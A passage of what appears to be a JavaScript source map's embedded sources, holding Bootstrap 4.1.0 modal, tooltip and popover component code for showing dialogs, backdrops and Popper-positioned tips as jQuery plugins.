.one(Util.TRANSITION_END, (event) => this._hideModal(event))\n          .emulateTransitionEnd(transitionDuration)\n      } else {\n        this._hideModal()\n      }\n    }\n\n    dispose() {\n      $.removeData(this._element, DATA_KEY)\n\n      $(window, document, this._element, this._backdrop).off(EVENT_KEY)\n\n      this._config              = null\n      this._element             = null\n      this._dialog              = null\n      this._backdrop            = null\n      this._isShown             = null\n      this._isBodyOverflowing   = null\n      this._ignoreBackdropClick = null\n      this._scrollbarWidth      = null\n    }\n\n    handleUpdate() {\n      this._adjustDialog()\n    }\n\n    // Private\n\n    _getConfig(config) {\n      config = {\n        ...Default,\n        ...config\n      }\n      Util.typeCheckConfig(NAME, config, DefaultType)\n      return config\n    }\n\n    _showElement(relatedTarget) {\n      const transition = $(this._element).hasClass(ClassName.FADE)\n\n      if (!this._element.parentNode ||\n         this._element.parentNode.nodeType !== Node.ELEMENT_NODE) {\n        // Don't move modal's DOM position\n        document.body.appendChild(this._element)\n      }\n\n      this._element.style.display = 'block'\n      this._element.removeAttribute('aria-hidden')\n      this._element.scrollTop = 0\n\n      if (transition) {\n        Util.reflow(this._element)\n      }\n\n      $(this._element).addClass(ClassName.SHOW)\n\n      if (this._config.focus) {\n        this._enforceFocus()\n      }\n\n      const shownEvent = $.Event(Event.SHOWN, {\n        relatedTarget\n      })\n\n      const transitionComplete = () => {\n        if (this._config.focus) {\n          this._element.focus()\n        }\n        this._isTransitioning = false\n        $(this._element).trigger(shownEvent)\n      }\n\n      if (transition) {\n        const transitionDuration  = Util.getTransitionDurationFromElement(this._element)\n\n        $(this._dialog)\n          .one(Util.TRANSITION_END, transitionComplete)\n          .emulateTransitionEnd(transitionDuration)\n      } else {\n        transitionComplete()\n      }\n    }\n\n    _enforceFocus() {\n      $(document)\n        .off(Event.FOCUSIN) // Guard against infinite focus loop\n        .on(Event.FOCUSIN, (event) => {\n          if (document !== event.target &&\n              this._element !== event.target &&\n              $(this._element).has(event.target).length === 0) {\n            this._element.focus()\n          }\n        })\n    }\n\n    _setEscapeEvent() {\n      if (this._isShown && this._config.keyboard) {\n        $(this._element).on(Event.KEYDOWN_DISMISS, (event) => {\n          if (event.which === ESCAPE_KEYCODE) {\n            event.preventDefault()\n            this.hide()\n          }\n        })\n      } else if (!this._isShown) {\n        $(this._element).off(Event.KEYDOWN_DISMISS)\n      }\n    }\n\n    _setResizeEvent() {\n      if (this._isShown) {\n        $(window).on(Event.RESIZE, (event) => this.handleUpdate(event))\n      } else {\n        $(window).off(Event.RESIZE)\n      }\n    }\n\n    _hideModal() {\n      this._element.style.display = 'none'\n      this._element.setAttribute('aria-hidden', true)\n      this._isTransitioning = false\n      this._showBackdrop(() => {\n        $(document.body).removeClass(ClassName.OPEN)\n        this._resetAdjustments()\n        this._resetScrollbar()\n        $(this._element).trigger(Event.HIDDEN)\n      })\n    }\n\n    _removeBackdrop() {\n      if (this._backdrop) {\n        $(this._backdrop).remove()\n        this._backdrop = null\n      }\n    }\n\n    _showBackdrop(callback) {\n      const animate = $(this._element).hasClass(ClassName.FADE)\n        ? ClassName.FADE : ''\n\n      if (this._isShown && this._config.backdrop) {\n        this._backdrop = document.createElement('div')\n        this._backdrop.className = ClassName.BACKDROP\n\n        if (animate) {\n          $(this._backdrop).addClass(animate)\n        }\n\n        $(this._backdrop).appendTo(document.body)\n\n        $(this._element).on(Event.CLICK_DISMISS, (event) => {\n          if (this._ignoreBackdropClick) {\n            this._ignoreBackdropClick = false\n            return\n          }\n          if (event.target !== event.currentTarget) {\n            return\n          }\n          if (this._config.backdrop === 'static') {\n            this._element.focus()\n          } else {\n            this.hide()\n          }\n        })\n\n        if (animate) {\n          Util.reflow(this._backdrop)\n        }\n\n        $(this._backdrop).addClass(ClassName.SHOW)\n\n        if (!callback) {\n          return\n        }\n\n        if (!animate) {\n          callback()\n          return\n        }\n\n        const backdropTransitionDuration = Util.getTransitionDurationFromElement(this._backdrop)\n\n        $(this._backdrop)\n          .one(Util.TRANSITION_END, callback)\n          .emulateTransitionEnd(backdropTransitionDuration)\n      } else if (!this._isShown && this._backdrop) {\n        $(this._backdrop).removeClass(ClassName.SHOW)\n\n        const callbackRemove = () => {\n          this._removeBackdrop()\n          if (callback) {\n            callback()\n          }\n        }\n\n        if ($(this._element).hasClass(ClassName.FADE)) {\n          const backdropTransitionDuration = Util.getTransitionDurationFromElement(this._backdrop)\n\n          $(this._backdrop)\n            .one(Util.TRANSITION_END, callbackRemove)\n            .emulateTransitionEnd(backdropTransitionDuration)\n        } else {\n          callbackRemove()\n        }\n      } else if (callback) {\n        callback()\n      }\n    }\n\n    // ----------------------------------------------------------------------\n    // the following methods are used to handle overflowing modals\n    // todo (fat): these should probably be refactored out of modal.js\n    // ----------------------------------------------------------------------\n\n    _adjustDialog() {\n      const isModalOverflowing =\n        this._element.scrollHeight > document.documentElement.clientHeight\n\n      if (!this._isBodyOverflowing && isModalOverflowing) {\n        this._element.style.paddingLeft = `${this._scrollbarWidth}px`\n      }\n\n      if (this._isBodyOverflowing && !isModalOverflowing) {\n        this._element.style.paddingRight = `${this._scrollbarWidth}px`\n      }\n    }\n\n    _resetAdjustments() {\n      this._element.style.paddingLeft = ''\n      this._element.style.paddingRight = ''\n    }\n\n    _checkScrollbar() {\n      const rect = document.body.getBoundingClientRect()\n      this._isBodyOverflowing = rect.left + rect.right < window.innerWidth\n      this._scrollbarWidth = this._getScrollbarWidth()\n    }\n\n    _setScrollbar() {\n      if (this._isBodyOverflowing) {\n        // Note: DOMNode.style.paddingRight returns the actual value or '' if not set\n        //   while $(DOMNode).css('padding-right') returns the calculated value or 0 if not set\n\n        // Adjust fixed content padding\n        $(Selector.FIXED_CONTENT).each((index, element) => {\n          const actualPadding = $(element)[0].style.paddingRight\n          const calculatedPadding = $(element).css('padding-right')\n          $(element).data('padding-right', actualPadding).css('padding-right', `${parseFloat(calculatedPadding) + this._scrollbarWidth}px`)\n        })\n\n        // Adjust sticky content margin\n        $(Selector.STICKY_CONTENT).each((index, element) => {\n          const actualMargin = $(element)[0].style.marginRight\n          const calculatedMargin = $(element).css('margin-right')\n          $(element).data('margin-right', actualMargin).css('margin-right', `${parseFloat(calculatedMargin) - this._scrollbarWidth}px`)\n        })\n\n        // Adjust navbar-toggler margin\n        $(Selector.NAVBAR_TOGGLER).each((index, element) => {\n          const actualMargin = $(element)[0].style.marginRight\n          const calculatedMargin = $(element).css('margin-right')\n          $(element).data('margin-right', actualMargin).css('margin-right', `${parseFloat(calculatedMargin) + this._scrollbarWidth}px`)\n        })\n\n        // Adjust body padding\n        const actualPadding = document.body.style.paddingRight\n        const calculatedPadding = $(document.body).css('padding-right')\n        $(document.body).data('padding-right', actualPadding).css('padding-right', `${parseFloat(calculatedPadding) + this._scrollbarWidth}px`)\n      }\n    }\n\n    _resetScrollbar() {\n      // Restore fixed content padding\n      $(Selector.FIXED_CONTENT).each((index, element) => {\n        const padding = $(element).data('padding-right')\n        if (typeof padding !== 'undefined') {\n          $(element).css('padding-right', padding).removeData('padding-right')\n        }\n      })\n\n      // Restore sticky content and navbar-toggler margin\n      $(`${Selector.STICKY_CONTENT}, ${Selector.NAVBAR_TOGGLER}`).each((index, element) => {\n        const margin = $(element).data('margin-right')\n        if (typeof margin !== 'undefined') {\n          $(element).css('margin-right', margin).removeData('margin-right')\n        }\n      })\n\n      // Restore body padding\n      const padding = $(document.body).data('padding-right')\n      if (typeof padding !== 'undefined') {\n        $(document.body).css('padding-right', padding).removeData('padding-right')\n      }\n    }\n\n    _getScrollbarWidth() { // thx d.walsh\n      const scrollDiv = document.createElement('div')\n      scrollDiv.className = ClassName.SCROLLBAR_MEASURER\n      document.body.appendChild(scrollDiv)\n      const scrollbarWidth = scrollDiv.getBoundingClientRect().width - scrollDiv.clientWidth\n      document.body.removeChild(scrollDiv)\n      return scrollbarWidth\n    }\n\n    // Static\n\n    static _jQueryInterface(config, relatedTarget) {\n      return this.each(function () {\n        let data = $(this).data(DATA_KEY)\n        const _config = {\n          ...Modal.Default,\n          ...$(this).data(),\n          ...typeof config === 'object' && config\n        }\n\n        if (!data) {\n          data = new Modal(this, _config)\n          $(this).data(DATA_KEY, data)\n        }\n\n        if (typeof config === 'string') {\n          if (typeof data[config] === 'undefined') {\n            throw new TypeError(`No method named \"${config}\"`)\n          }\n          data[config](relatedTarget)\n        } else if (_config.show) {\n          data.show(relatedTarget)\n        }\n      })\n    }\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Data Api implementation\n   * ------------------------------------------------------------------------\n   */\n\n  $(document).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {\n    let target\n    const selector = Util.getSelectorFromElement(this)\n\n    if (selector) {\n      target = $(selector)[0]\n    }\n\n    const config = $(target).data(DATA_KEY)\n      ? 'toggle' : {\n        ...$(target).data(),\n        ...$(this).data()\n      }\n\n    if (this.tagName === 'A' || this.tagName === 'AREA') {\n      event.preventDefault()\n    }\n\n    const $target = $(target).one(Event.SHOW, (showEvent) => {\n      if (showEvent.isDefaultPrevented()) {\n        // Only register focus restorer if modal will actually get shown\n        return\n      }\n\n      $target.one(Event.HIDDEN, () => {\n        if ($(this).is(':visible')) {\n          this.focus()\n        }\n      })\n    })\n\n    Modal._jQueryInterface.call($(target), config, this)\n  })\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = Modal._jQueryInterface\n  $.fn[NAME].Constructor = Modal\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT\n    return Modal._jQueryInterface\n  }\n\n  return Modal\n})($)\n\nexport default Modal\n","import $ from 'jquery'\nimport Popper from 'popper.js'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): tooltip.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Tooltip = (($) => {\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  const NAME               = 'tooltip'\n  const VERSION            = '4.1.0'\n  const DATA_KEY           = 'bs.tooltip'\n  const EVENT_KEY          = `.${DATA_KEY}`\n  const JQUERY_NO_CONFLICT = $.fn[NAME]\n  const CLASS_PREFIX       = 'bs-tooltip'\n  const BSCLS_PREFIX_REGEX = new RegExp(`(^|\\\\s)${CLASS_PREFIX}\\\\S+`, 'g')\n\n  const DefaultType = {\n    animation           : 'boolean',\n    template            : 'string',\n    title               : '(string|element|function)',\n    trigger             : 'string',\n    delay               : '(number|object)',\n    html                : 'boolean',\n    selector            : '(string|boolean)',\n    placement           : '(string|function)',\n    offset              : '(number|string)',\n    container           : '(string|element|boolean)',\n    fallbackPlacement   : '(string|array)',\n    boundary            : '(string|element)'\n  }\n\n  const AttachmentMap = {\n    AUTO   : 'auto',\n    TOP    : 'top',\n    RIGHT  : 'right',\n    BOTTOM : 'bottom',\n    LEFT   : 'left'\n  }\n\n  const Default = {\n    animation           : true,\n    template            : '<div class=\"tooltip\" role=\"tooltip\">' +\n                        '<div class=\"arrow\"></div>' +\n                        '<div class=\"tooltip-inner\"></div></div>',\n    trigger             : 'hover focus',\n    title               : '',\n    delay               : 0,\n    html                : false,\n    selector            : false,\n    placement           : 'top',\n    offset              : 0,\n    container           : false,\n    fallbackPlacement   : 'flip',\n    boundary            : 'scrollParent'\n  }\n\n  const HoverState = {\n    SHOW : 'show',\n    OUT  : 'out'\n  }\n\n  const Event = {\n    HIDE       : `hide${EVENT_KEY}`,\n    HIDDEN     : `hidden${EVENT_KEY}`,\n    SHOW       : `show${EVENT_KEY}`,\n    SHOWN      : `shown${EVENT_KEY}`,\n    INSERTED   : `inserted${EVENT_KEY}`,\n    CLICK      : `click${EVENT_KEY}`,\n    FOCUSIN    : `focusin${EVENT_KEY}`,\n    FOCUSOUT   : `focusout${EVENT_KEY}`,\n    MOUSEENTER : `mouseenter${EVENT_KEY}`,\n    MOUSELEAVE : `mouseleave${EVENT_KEY}`\n  }\n\n  const ClassName = {\n    FADE : 'fade',\n    SHOW : 'show'\n  }\n\n  const Selector = {\n    TOOLTIP       : '.tooltip',\n    TOOLTIP_INNER : '.tooltip-inner',\n    ARROW         : '.arrow'\n  }\n\n  const Trigger = {\n    HOVER  : 'hover',\n    FOCUS  : 'focus',\n    CLICK  : 'click',\n    MANUAL : 'manual'\n  }\n\n\n  /**\n   * ------------------------------------------------------------------------\n   * Class Definition\n   * ------------------------------------------------------------------------\n   */\n\n  class Tooltip {\n    constructor(element, config) {\n      /**\n       * Check for Popper dependency\n       * Popper - https://popper.js.org\n       */\n      if (typeof Popper === 'undefined') {\n        throw new TypeError('Bootstrap tooltips require Popper.js (https://popper.js.org)')\n      }\n\n      // private\n      this._isEnabled     = true\n      this._timeout       = 0\n      this._hoverState    = ''\n      this._activeTrigger = {}\n      this._popper        = null\n\n      // Protected\n      this.element = element\n      this.config  = this._getConfig(config)\n      this.tip     = null\n\n      this._setListeners()\n    }\n\n    // Getters\n\n    static get VERSION() {\n      return VERSION\n    }\n\n    static get Default() {\n      return Default\n    }\n\n    static get NAME() {\n      return NAME\n    }\n\n    static get DATA_KEY() {\n      return DATA_KEY\n    }\n\n    static get Event() {\n      return Event\n    }\n\n    static get EVENT_KEY() {\n      return EVENT_KEY\n    }\n\n    static get DefaultType() {\n      return DefaultType\n    }\n\n    // Public\n\n    enable() {\n      this._isEnabled = true\n    }\n\n    disable() {\n      this._isEnabled = false\n    }\n\n    toggleEnabled() {\n      this._isEnabled = !this._isEnabled\n    }\n\n    toggle(event) {\n      if (!this._isEnabled) {\n        return\n      }\n\n      if (event) {\n        const dataKey = this.constructor.DATA_KEY\n        let context = $(event.currentTarget).data(dataKey)\n\n        if (!context) {\n          context = new this.constructor(\n            event.currentTarget,\n            this._getDelegateConfig()\n          )\n          $(event.currentTarget).data(dataKey, context)\n        }\n\n        context._activeTrigger.click = !context._activeTrigger.click\n\n        if (context._isWithActiveTrigger()) {\n          context._enter(null, context)\n        } else {\n          context._leave(null, context)\n        }\n      } else {\n        if ($(this.getTipElement()).hasClass(ClassName.SHOW)) {\n          this._leave(null, this)\n          return\n        }\n\n        this._enter(null, this)\n      }\n    }\n\n    dispose() {\n      clearTimeout(this._timeout)\n\n      $.removeData(this.element, this.constructor.DATA_KEY)\n\n      $(this.element).off(this.constructor.EVENT_KEY)\n      $(this.element).closest('.modal').off('hide.bs.modal')\n\n      if (this.tip) {\n        $(this.tip).remove()\n      }\n\n      this._isEnabled     = null\n      this._timeout       = null\n      this._hoverState    = null\n      this._activeTrigger = null\n      if (this._popper !== null) {\n        this._popper.destroy()\n      }\n\n      this._popper = null\n      this.element = null\n      this.config  = null\n      this.tip     = null\n    }\n\n    show() {\n      if ($(this.element).css('display') === 'none') {\n        throw new Error('Please use show on visible elements')\n      }\n\n      const showEvent = $.Event(this.constructor.Event.SHOW)\n      if (this.isWithContent() && this._isEnabled) {\n        $(this.element).trigger(showEvent)\n\n        const isInTheDom = $.contains(\n          this.element.ownerDocument.documentElement,\n          this.element\n        )\n\n        if (showEvent.isDefaultPrevented() || !isInTheDom) {\n          return\n        }\n\n        const tip   = this.getTipElement()\n        const tipId = Util.getUID(this.constructor.NAME)\n\n        tip.setAttribute('id', tipId)\n        this.element.setAttribute('aria-describedby', tipId)\n\n        this.setContent()\n\n        if (this.config.animation) {\n          $(tip).addClass(ClassName.FADE)\n        }\n\n        const placement  = typeof this.config.placement === 'function'\n          ? this.config.placement.call(this, tip, this.element)\n          : this.config.placement\n\n        const attachment = this._getAttachment(placement)\n        this.addAttachmentClass(attachment)\n\n        const container = this.config.container === false ? document.body : $(this.config.container)\n\n        $(tip).data(this.constructor.DATA_KEY, this)\n\n        if (!$.contains(this.element.ownerDocument.documentElement, this.tip)) {\n          $(tip).appendTo(container)\n        }\n\n        $(this.element).trigger(this.constructor.Event.INSERTED)\n\n        this._popper = new Popper(this.element, tip, {\n          placement: attachment,\n          modifiers: {\n            offset: {\n              offset: this.config.offset\n            },\n            flip: {\n              behavior: this.config.fallbackPlacement\n            },\n            arrow: {\n              element: Selector.ARROW\n            },\n            preventOverflow: {\n              boundariesElement: this.config.boundary\n            }\n          },\n          onCreate: (data) => {\n            if (data.originalPlacement !== data.placement) {\n              this._handlePopperPlacementChange(data)\n            }\n          },\n          onUpdate: (data) => {\n            this._handlePopperPlacementChange(data)\n          }\n        })\n\n        $(tip).addClass(ClassName.SHOW)\n\n        // If this is a touch-enabled device we add extra\n        // empty mouseover listeners to the body's immediate children;\n        // only needed because of broken event delegation on iOS\n        // https://www.quirksmode.org/blog/archives/2014/02/mouse_event_bub.html\n        if ('ontouchstart' in document.documentElement) {\n          $(document.body).children().on('mouseover', null, $.noop)\n        }\n\n        const complete = () => {\n          if (this.config.animation) {\n            this._fixTransition()\n          }\n          const prevHoverState = this._hoverState\n          this._hoverState     = null\n\n          $(this.element).trigger(this.constructor.Event.SHOWN)\n\n          if (prevHoverState === HoverState.OUT) {\n            this._leave(null, this)\n          }\n        }\n\n        if ($(this.tip).hasClass(ClassName.FADE)) {\n          const transitionDuration = Util.getTransitionDurationFromElement(this.tip)\n\n          $(this.tip)\n            .one(Util.TRANSITION_END, complete)\n            .emulateTransitionEnd(transitionDuration)\n        } else {\n          complete()\n        }\n      }\n    }\n\n    hide(callback) {\n      const tip       = this.getTipElement()\n      const hideEvent = $.Event(this.constructor.Event.HIDE)\n      const complete = () => {\n        if (this._hoverState !== HoverState.SHOW && tip.parentNode) {\n          tip.parentNode.removeChild(tip)\n        }\n\n        this._cleanTipClass()\n        this.element.removeAttribute('aria-describedby')\n        $(this.element).trigger(this.constructor.Event.HIDDEN)\n        if (this._popper !== null) {\n          this._popper.destroy()\n        }\n\n        if (callback) {\n          callback()\n        }\n      }\n\n      $(this.element).trigger(hideEvent)\n\n      if (hideEvent.isDefaultPrevented()) {\n        return\n      }\n\n      $(tip).removeClass(ClassName.SHOW)\n\n      // If this is a touch-enabled device we remove the extra\n      // empty mouseover listeners we added for iOS support\n      if ('ontouchstart' in document.documentElement) {\n        $(document.body).children().off('mouseover', null, $.noop)\n      }\n\n      this._activeTrigger[Trigger.CLICK] = false\n      this._activeTrigger[Trigger.FOCUS] = false\n      this._activeTrigger[Trigger.HOVER] = false\n\n      if ($(this.tip).hasClass(ClassName.FADE)) {\n        const transitionDuration = Util.getTransitionDurationFromElement(tip)\n\n        $(tip)\n          .one(Util.TRANSITION_END, complete)\n          .emulateTransitionEnd(transitionDuration)\n      } else {\n        complete()\n      }\n\n      this._hoverState = ''\n    }\n\n    update() {\n      if (this._popper !== null) {\n        this._popper.scheduleUpdate()\n      }\n    }\n\n    // Protected\n\n    isWithContent() {\n      return Boolean(this.getTitle())\n    }\n\n    addAttachmentClass(attachment) {\n      $(this.getTipElement()).addClass(`${CLASS_PREFIX}-${attachment}`)\n    }\n\n    getTipElement() {\n      this.tip = this.tip || $(this.config.template)[0]\n      return this.tip\n    }\n\n    setContent() {\n      const $tip = $(this.getTipElement())\n      this.setElementContent($tip.find(Selector.TOOLTIP_INNER), this.getTitle())\n      $tip.removeClass(`${ClassName.FADE} ${ClassName.SHOW}`)\n    }\n\n    setElementContent($element, content) {\n      const html = this.config.html\n      if (typeof content === 'object' && (content.nodeType || content.jquery)) {\n        // Content is a DOM node or a jQuery\n        if (html) {\n          if (!$(content).parent().is($element)) {\n            $element.empty().append(content)\n          }\n        } else {\n          $element.text($(content).text())\n        }\n      } else {\n        $element[html ? 'html' : 'text'](content)\n      }\n    }\n\n    getTitle() {\n      let title = this.element.getAttribute('data-original-title')\n\n      if (!title) {\n        title = typeof this.config.title === 'function'\n          ? this.config.title.call(this.element)\n          : this.config.title\n      }\n\n      return title\n    }\n\n    // Private\n\n    _getAttachment(placement) {\n      return AttachmentMap[placement.toUpperCase()]\n    }\n\n    _setListeners() {\n      const triggers = this.config.trigger.split(' ')\n\n      triggers.forEach((trigger) => {\n        if (trigger === 'click') {\n          $(this.element).on(\n            this.constructor.Event.CLICK,\n            this.config.selector,\n            (event) => this.toggle(event)\n          )\n        } else if (trigger !== Trigger.MANUAL) {\n          const eventIn = trigger === Trigger.HOVER\n            ? this.constructor.Event.MOUSEENTER\n            : this.constructor.Event.FOCUSIN\n          const eventOut = trigger === Trigger.HOVER\n            ? this.constructor.Event.MOUSELEAVE\n            : this.constructor.Event.FOCUSOUT\n\n          $(this.element)\n            .on(\n              eventIn,\n              this.config.selector,\n              (event) => this._enter(event)\n            )\n            .on(\n              eventOut,\n              this.config.selector,\n              (event) => this._leave(event)\n            )\n        }\n\n        $(this.element).closest('.modal').on(\n          'hide.bs.modal',\n          () => this.hide()\n        )\n      })\n\n      if (this.config.selector) {\n        this.config = {\n          ...this.config,\n          trigger: 'manual',\n          selector: ''\n        }\n      } else {\n        this._fixTitle()\n      }\n    }\n\n    _fixTitle() {\n      const titleType = typeof this.element.getAttribute('data-original-title')\n      if (this.element.getAttribute('title') ||\n         titleType !== 'string') {\n        this.element.setAttribute(\n          'data-original-title',\n          this.element.getAttribute('title') || ''\n        )\n        this.element.setAttribute('title', '')\n      }\n    }\n\n    _enter(event, context) {\n      const dataKey = this.constructor.DATA_KEY\n\n      context = context || $(event.currentTarget).data(dataKey)\n\n      if (!context) {\n        context = new this.constructor(\n          event.currentTarget,\n          this._getDelegateConfig()\n        )\n        $(event.currentTarget).data(dataKey, context)\n      }\n\n      if (event) {\n        context._activeTrigger[\n          event.type === 'focusin' ? Trigger.FOCUS : Trigger.HOVER\n        ] = true\n      }\n\n      if ($(context.getTipElement()).hasClass(ClassName.SHOW) ||\n         context._hoverState === HoverState.SHOW) {\n        context._hoverState = HoverState.SHOW\n        return\n      }\n\n      clearTimeout(context._timeout)\n\n      context._hoverState = HoverState.SHOW\n\n      if (!context.config.delay || !context.config.delay.show) {\n        context.show()\n        return\n      }\n\n      context._timeout = setTimeout(() => {\n        if (context._hoverState === HoverState.SHOW) {\n          context.show()\n        }\n      }, context.config.delay.show)\n    }\n\n    _leave(event, context) {\n      const dataKey = this.constructor.DATA_KEY\n\n      context = context || $(event.currentTarget).data(dataKey)\n\n      if (!context) {\n        context = new this.constructor(\n          event.currentTarget,\n          this._getDelegateConfig()\n        )\n        $(event.currentTarget).data(dataKey, context)\n      }\n\n      if (event) {\n        context._activeTrigger[\n          event.type === 'focusout' ? Trigger.FOCUS : Trigger.HOVER\n        ] = false\n      }\n\n      if (context._isWithActiveTrigger()) {\n        return\n      }\n\n      clearTimeout(context._timeout)\n\n      context._hoverState = HoverState.OUT\n\n      if (!context.config.delay || !context.config.delay.hide) {\n        context.hide()\n        return\n      }\n\n      context._timeout = setTimeout(() => {\n        if (context._hoverState === HoverState.OUT) {\n          context.hide()\n        }\n      }, context.config.delay.hide)\n    }\n\n    _isWithActiveTrigger() {\n      for (const trigger in this._activeTrigger) {\n        if (this._activeTrigger[trigger]) {\n          return true\n        }\n      }\n\n      return false\n    }\n\n    _getConfig(config) {\n      config = {\n        ...this.constructor.Default,\n        ...$(this.element).data(),\n        ...config\n      }\n\n      if (typeof config.delay === 'number') {\n        config.delay = {\n          show: config.delay,\n          hide: config.delay\n        }\n      }\n\n      if (typeof config.title === 'number') {\n        config.title = config.title.toString()\n      }\n\n      if (typeof config.content === 'number') {\n        config.content = config.content.toString()\n      }\n\n      Util.typeCheckConfig(\n        NAME,\n        config,\n        this.constructor.DefaultType\n      )\n\n      return config\n    }\n\n    _getDelegateConfig() {\n      const config = {}\n\n      if (this.config) {\n        for (const key in this.config) {\n          if (this.constructor.Default[key] !== this.config[key]) {\n            config[key] = this.config[key]\n          }\n        }\n      }\n\n      return config\n    }\n\n    _cleanTipClass() {\n      const $tip = $(this.getTipElement())\n      const tabClass = $tip.attr('class').match(BSCLS_PREFIX_REGEX)\n      if (tabClass !== null && tabClass.length > 0) {\n        $tip.removeClass(tabClass.join(''))\n      }\n    }\n\n    _handlePopperPlacementChange(data) {\n      this._cleanTipClass()\n      this.addAttachmentClass(this._getAttachment(data.placement))\n    }\n\n    _fixTransition() {\n      const tip = this.getTipElement()\n      const initConfigAnimation = this.config.animation\n      if (tip.getAttribute('x-placement') !== null) {\n        return\n      }\n      $(tip).removeClass(ClassName.FADE)\n      this.config.animation = false\n      this.hide()\n      this.show()\n      this.config.animation = initConfigAnimation\n    }\n\n    // Static\n\n    static _jQueryInterface(config) {\n      return this.each(function () {\n        let data = $(this).data(DATA_KEY)\n        const _config = typeof config === 'object' && config\n\n        if (!data && /dispose|hide/.test(config)) {\n          return\n        }\n\n        if (!data) {\n          data = new Tooltip(this, _config)\n          $(this).data(DATA_KEY, data)\n        }\n\n        if (typeof config === 'string') {\n          if (typeof data[config] === 'undefined') {\n            throw new TypeError(`No method named \"${config}\"`)\n          }\n          data[config]()\n        }\n      })\n    }\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = Tooltip._jQueryInterface\n  $.fn[NAME].Constructor = Tooltip\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT\n    return Tooltip._jQueryInterface\n  }\n\n  return Tooltip\n})($, Popper)\n\nexport default Tooltip\n","import $ from 'jquery'\nimport Tooltip from './tooltip'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): popover.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Popover = (($) => {\n  /**\n   * ------------------------------------------------------------------------\n   * Constants\n   * ------------------------------------------------------------------------\n   */\n\n  const NAME                = 'popover'\n  const VERSION             = '4.1.0'\n  const DATA_KEY            = 'bs.popover'\n  const EVENT_KEY           = `.${DATA_KEY}`\n  const JQUERY_NO_CONFLICT  = $.fn[NAME]\n  const CLASS_PREFIX        = 'bs-popover'\n  const BSCLS_PREFIX_REGEX  = new RegExp(`(^|\\\\s)${CLASS_PREFIX}\\\\S+`, 'g')\n\n  const Default = {\n    ...Tooltip.Default,\n    placement : 'right',\n    trigger   : 'click',\n    content   : '',\n    template  : '<div class=\"popover\" role=\"tooltip\">' +\n                '<div class=\"arrow\"></div>' +\n                '<h3 class=\"popover-header\"></h3>' +\n                '<div class=\"popover-body\"></div></div>'\n  }\n\n  const DefaultType = {\n    ...Tooltip.DefaultType,\n    content : '(string|element|function)'\n  }\n\n  const ClassName = {\n    FADE : 'fade',\n    SHOW : 'show'\n  }\n\n  const Selector = {\n    TITLE   : '.popover-header',\n    CONTENT : '.popover-body'\n  }\n\n  const Event = {\n    HIDE       : `hide${EVENT_KEY}`,\n    HIDDEN     : `hidden${EVENT_KEY}`,\n    SHOW       : `show${EVENT_KEY}`,\n    SHOWN      : `shown${EVENT_KEY}`,\n    INSERTED   : `inserted${EVENT_KEY}`,\n    CLICK      : `click${EVENT_KEY}`,\n    FOCUSIN    : `focusin${EVENT_KEY}`,\n    FOCUSOUT   : `focusout${EVENT_KEY}`,\n    MOUSEENTER : `mouseenter${EVENT_KEY}`,\n    MOUSELEAVE : `mouseleave${EVENT_KEY}`\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * Class Definition\n   * ------------------------------------------------------------------------\n   */\n\n  class Popover extends Tooltip {\n    // Getters\n\n    static get VERSION() {\n      return VERSION\n    }\n\n    static get Default() {\n      return Default\n    }\n\n    static get NAME() {\n      return NAME\n    }\n\n    static get DATA_KEY() {\n      return DATA_KEY\n    }\n\n    static get Event() {\n      return Event\n    }\n\n    static get EVENT_KEY() {\n      return EVENT_KEY\n    }\n\n    static get DefaultType() {\n      return DefaultType\n    }\n\n    // Overrides\n\n    isWithContent() {\n      return this.getTitle() || this._getContent()\n    }\n\n    addAttachmentClass(attachment) {\n      $(this.getTipElement()).addClass(`${CLASS_PREFIX}-${attachment}`)\n    }\n\n    getTipElement() {\n      this.tip = this.tip || $(this.config.template)[0]\n      return this.tip\n    }\n\n    setContent() {\n      const $tip = $(this.getTipElement())\n\n      // We use append for html objects to maintain js events\n      this.setElementContent($tip.find(Selector.TITLE), this.getTitle())\n      let content = this._getContent()\n      if (typeof content === 'function') {\n        content = content.call(this.element)\n      }\n      this.setElementContent($tip.find(Selector.CONTENT), content)\n\n      $tip.removeClass(`${ClassName.FADE} ${ClassName.SHOW}`)\n    }\n\n    // Private\n\n    _getContent() {\n      return this.element.getAttribute('data-content') ||\n        this.config.content\n    }\n\n    _cleanTipClass() {\n      const $tip = $(this.getTipElement())\n      const tabClass = $tip.attr('class').match(BSCLS_PREFIX_REGEX)\n      if (tabClass !== null && tabClass.length > 0) {\n        $tip.removeClass(tabClass.join(''))\n      }\n    }\n\n    // Static\n\n    static _jQueryInterface(config) {\n      return this.each(function () {\n        let data = $(this).data(DATA_KEY)\n        const _config = typeof config === 'object' ? config : null\n\n        if (!data && /destroy|hide/.test(config)) {\n          return\n        }\n\n        if (!data) {\n          data = new Popover(this, _config)\n          $(this).data(DATA_KEY, data)\n        }\n\n        if (typeof config === 'string') {\n          if (typeof data[config] === 'undefined') {\n            throw new TypeError(`No method named \"${config}\"`)\n          }\n          data[config]()\n        }\n      })\n    }\n  }\n\n  /**\n   * ------------------------------------------------------------------------\n   * jQuery\n   * ------------------------------------------------------------------------\n   */\n\n  $.fn[NAME] = Popover._jQueryInterface\n  $.fn[NAME].Constructor = Popover\n  $.fn[NAME].noConflict = function () {\n    $.fn[NAME] = JQUERY_NO_CONFLICT\n    return Popover._jQueryInterface\n  }\n\n  return Popover\n})($)\n\nexport default Popover\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): 